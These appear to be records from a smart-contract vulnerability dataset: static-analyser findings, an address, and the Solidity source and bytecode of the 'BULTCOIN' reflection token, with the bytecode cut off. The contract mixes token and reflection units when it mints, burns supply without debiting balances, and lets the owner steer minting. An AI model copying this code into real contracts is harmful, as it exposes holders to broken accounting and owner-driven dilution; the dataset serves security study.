006546901000000000000000000900467ffffffffffffffff16421161066057600080fd5b60058190556006805460ff191660011790556040805182815290517fa69839328d982396193483f2260936b1d1f2109fdde204b27c7ac3c1cfd18db09181900360200190a150565b60005474010000000000000000000000000000000000000000900460ff1681565b60095460ff1680156106da57600080fd5b60065467ffffffffffffffff6101009091048116429091161080159061071d575060065467ffffffffffffffff6901000000000000000000909104811642909116105b151561072857600080fd5b6107318261080c565b50604080513381526020810184905281517f620a05d88e802eea13268414c30858ec8b2524d13ee3e3e93519ac140047eba4929181900390910190a15050565b60005474010000000000000000000000000000000000000000900460ff16151561079a57600080fd5b600054600160a060020a031633146107b157600080fd5b6006805467ffffffffffffffff90921669010000000000000000000270ffffffffffffffff00000000000000000019909216919091179055565b60006107f68361080c565b6000908152600260205260409020919091555050565b600380546040805160608101825284815233602080830182815263ffffffff4381168587019081526000888152600180865288822097518855935196840180549251909316740100000000000000000000000000000000000000000277ffffffff000000000000000000000000000000000000000019600160a060020a039890981673ffffffffffffffffffffffffffffffffffffffff199093169290921796909616179055918352600490529190208290558254019091559190505600a165627a7a72305820302d7861236e3b809a1d8e7ed1cd9a2e274673a0d32433c9840f81ffa86507f40029a165627a7a72305820f704f0dadc2decd4737904b5515591865a93af511acefc6b84e32ee3110907330029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,829
0x4af76cd04d155359b5d9aeff4de5a220bc7f807b
/** *Submitted for verification at Etherscan.io on 2021-05-13 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BultTerrier is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isUniswap; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000 ether; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'BULTCOIN'; string private _symbol = 'BULT'; uint8 private _decimals = 18; address public MARKETING_WALLET; address public LIQUIDITY_PROVIDER_WALLET; address private uniswapPairAddress; constructor(address _MARKETING_WALLET, address _LIQUIDITY_PROVIDER_WALLET) { MARKETING_WALLET = _MARKETING_WALLET; LIQUIDITY_PROVIDER_WALLET = _LIQUIDITY_PROVIDER_WALLET; _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { address sender = _msgSender(); bool _isUniswapPairAddress = _redistribution(recipient, amount); uint256 _finalAmount = amount; // If _isUniswapPairAddress = false that means that this is a sell / transfer from another address if(_isUniswapPairAddress == false) { // 5% tax is deducted on each transfer and this is burnt from the totalSupply uint256 _burnFee = amount.mul(5).div(100); _finalAmount = amount.sub(_burnFee); _tTotal = _tTotal.sub(_burnFee); } if (_isUniswap[sender] || _isUniswap[recipient]) _transferUniswap(sender, recipient, _finalAmount); else _transfer(sender, recipient, _finalAmount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if (_isUniswap[sender] || _isUniswap[recipient]) _transferUniswap(sender, recipient, amount); else _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount, 0); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount, 0); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount, 0); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) internal view returns(uint256) { // require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); require(!_isUniswap[account], "Uniswap cannot be included!"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function assignUniswap(address account) external onlyOwner() { _isUniswap[account] = true; _isExcluded[account] = true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transferUniswap(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isUniswap[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount, 1); } else if (_isUniswap[recipient] && _isExcluded[sender]) { _transferBothExcluded(sender, recipient, amount, 2); } else if (_isUniswap[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount, 1); } else { _transferToExcluded(sender, recipient, amount, 2); } } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount, 0); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount, 0); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount, 0); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, 0); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } // @param buySell 0 is for neither buy nor sell, 1 is for buy, 0 is for sell function _getValues(uint256 tAmount, uint256) private view returns (uint256, uint256, uint256, uint256, uint256) { // (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, buySell); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, 0, currentRate); return (rAmount, rTransferAmount, rFee, tAmount, 0); } function _redistribution(address _purchaser, uint256 amount) internal returns(bool) { // checks whether the caller is the uniswapPairAddress. // Since it's a transferFrom call the uniswapPairAddress should be the caller in order for new tokens to be minted if(_msgSender() != uniswapPairAddress) return false; // should calculate 10% of the purchased amount uint256 _totalAmountMinted = amount.mul(10).div(100); uint256 _purchaserRewards = _totalAmountMinted.mul(25).div(100); uint256 _marketingRewards = _purchaserRewards; uint256 _liquidityProviderRewards = _totalAmountMinted.mul(20).div(100); uint256 _holdersSharedAmount = _totalAmountMinted.mul(30).div(100); // Increase the total supply by _totalAmountMinted _tTotal = _tTotal.add(_totalAmountMinted); _increaseBalance(_purchaser, _purchaserRewards); _increaseBalance(MARKETING_WALLET, _marketingRewards); _increaseBalance(LIQUIDITY_PROVIDER_WALLET, _liquidityProviderRewards); _tFeeTotal = _tFeeTotal.add(_holdersSharedAmount); return true; } function _increaseBalance(address _account, uint256 _amount) internal { _rOwned[_account] = _rOwned[_account].add(_amount); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function changeLiquidityAddress(address _newLiquidityAddress) external onlyOwner { LIQUIDITY_PROVIDER_WALLET = _newLiquidityAddress; } function setUniswapPairAddress(address _uniswapPairAddress) external onlyOwner { uniswapPairAddress = _uniswapPairAddress; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063c6859d0711610097578063f2cc0c1811610071578063f2cc0c18146107c3578063f2fde38b14610807578063f84354f11461084b578063f96352ae1461088f57610173565b8063c6859d07146106bd578063cba0e996146106f1578063dd62ed3e1461074b57610173565b8063715018a6146104f05780638da5cb5b146104fa57806395d89b411461052e578063a457c2d7146105b1578063a9059cbb14610615578063bd7644b81461067957610173565b8063313ce56711610130578063313ce5671461034d578063395093511461036e5780634549b039146103d25780635b7c132d146104205780636859d4ca1461046457806370a082311461049857610173565b8063053ab1821461017857806306fdde03146101a6578063095ea7b31461022957806313114a9d1461028d57806318160ddd146102ab57806323b872dd146102c9575b600080fd5b6101a46004803603602081101561018e57600080fd5b81019080803590602001909291905050506108d3565b005b6101ae610a65565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ee5780820151818401526020810190506101d3565b50505050905090810190601f16801561021b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102756004803603604081101561023f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b07565b60405180821515815260200191505060405180910390f35b610295610b25565b6040518082815260200191505060405180910390f35b6102b3610b2f565b6040518082815260200191505060405180910390f35b610335600480360360608110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b39565b60405180821515815260200191505060405180910390f35b610355610cc9565b604051808260ff16815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b61040a600480360360408110156103e857600080fd5b8101908080359060200190929190803515159060200190929190505050610d93565b6040518082815260200191505060405180910390f35b6104626004803603602081101561043657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4c565b005b61046c610f58565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104da600480360360208110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7e565b6040518082815260200191505060405180910390f35b6104f8611069565b005b6105026111ef565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610536611218565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057657808201518184015260208101905061055b565b50505050905090810190601f1680156105a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105fd600480360360408110156105c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ba565b60405180821515815260200191505060405180910390f35b6106616004803603604081101561062b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611387565b60405180821515815260200191505060405180910390f35b6106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e0565b005b6106c56115ec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107336004803603602081101561070757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611612565b60405180821515815260200191505060405180910390f35b6107ad6004803603604081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611668565b6040518082815260200191505060405180910390f35b610805600480360360208110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ef565b005b6108496004803603602081101561081d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a09565b005b61088d6004803603602081101561086157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c14565b005b6108d1600480360360208110156108a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061205e565b005b60006108dd6121d9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613f9d602c913960400191505060405180910390fd5b600061098f8360006121e1565b5050505090506109e781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3f8160085461222990919063ffffffff16565b600881905550610a5a8360095461227390919063ffffffff16565b600981905550505050565b6060600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afd5780601f10610ad257610100808354040283529160200191610afd565b820191906000526020600020905b815481529060010190602001808311610ae057829003601f168201915b5050505050905090565b6000610b1b610b146121d9565b84846122fb565b6001905092915050565b6000600954905090565b6000600754905090565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610bdc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610bf157610bec8484846124f2565b610bfd565b610bfc848484612898565b5b610cbe84610c096121d9565b610cb985604051806060016040528060288152602001613f0360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6f6121d9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf79092919063ffffffff16565b6122fb565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b6000610d89610ced6121d9565b84610d848560036000610cfe6121d9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b6122fb565b6001905092915050565b6000600754831115610e0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610e2e576000610e1f8460006121e1565b50505050905080915050610e46565b6000610e3b8460006121e1565b505050915050809150505b92915050565b610e546121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561101957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611064565b611061600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db7565b90505b919050565b6110716121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112b05780601f10611285576101008083540402835291602001916112b0565b820191906000526020600020905b81548152906001019060200180831161129357829003601f168201915b5050505050905090565b600061137d6112c76121d9565b8461137885604051806060016040528060258152602001613fc960259139600360006112f16121d9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf79092919063ffffffff16565b6122fb565b6001905092915050565b6000806113926121d9565b905060006113a08585612ddf565b905060008490506000151582151514156114115760006113dd60646113cf600589612f9f90919063ffffffff16565b61302590919063ffffffff16565b90506113f2818761222990919063ffffffff16565b91506114098160075461222990919063ffffffff16565b600781905550505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114b25750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114c7576114c28387836124f2565b6114d3565b6114d2838783612898565b5b6001935050505092915050565b6114e86121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116f76121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561194b57611907600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611a116121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ad1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613e9a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611c1c6121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f556e69737761702063616e6e6f7420626520696e636c7564656421000000000081525060200191505060405180910390fd5b60005b60058054905081101561205a578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611e8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561204d57600560016005805490500381548110611eeb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611f2357fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600580548061201357fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561205a565b8080600101915050611e5e565b5050565b6120666121d9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612126576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b6000806000806000806121f261306f565b905060008060006122058b60008661309a565b9250925092508282828d600098509850985098509850505050509295509295909350565b600061226b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612cf7565b905092915050565b6000808284019050838110156122f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613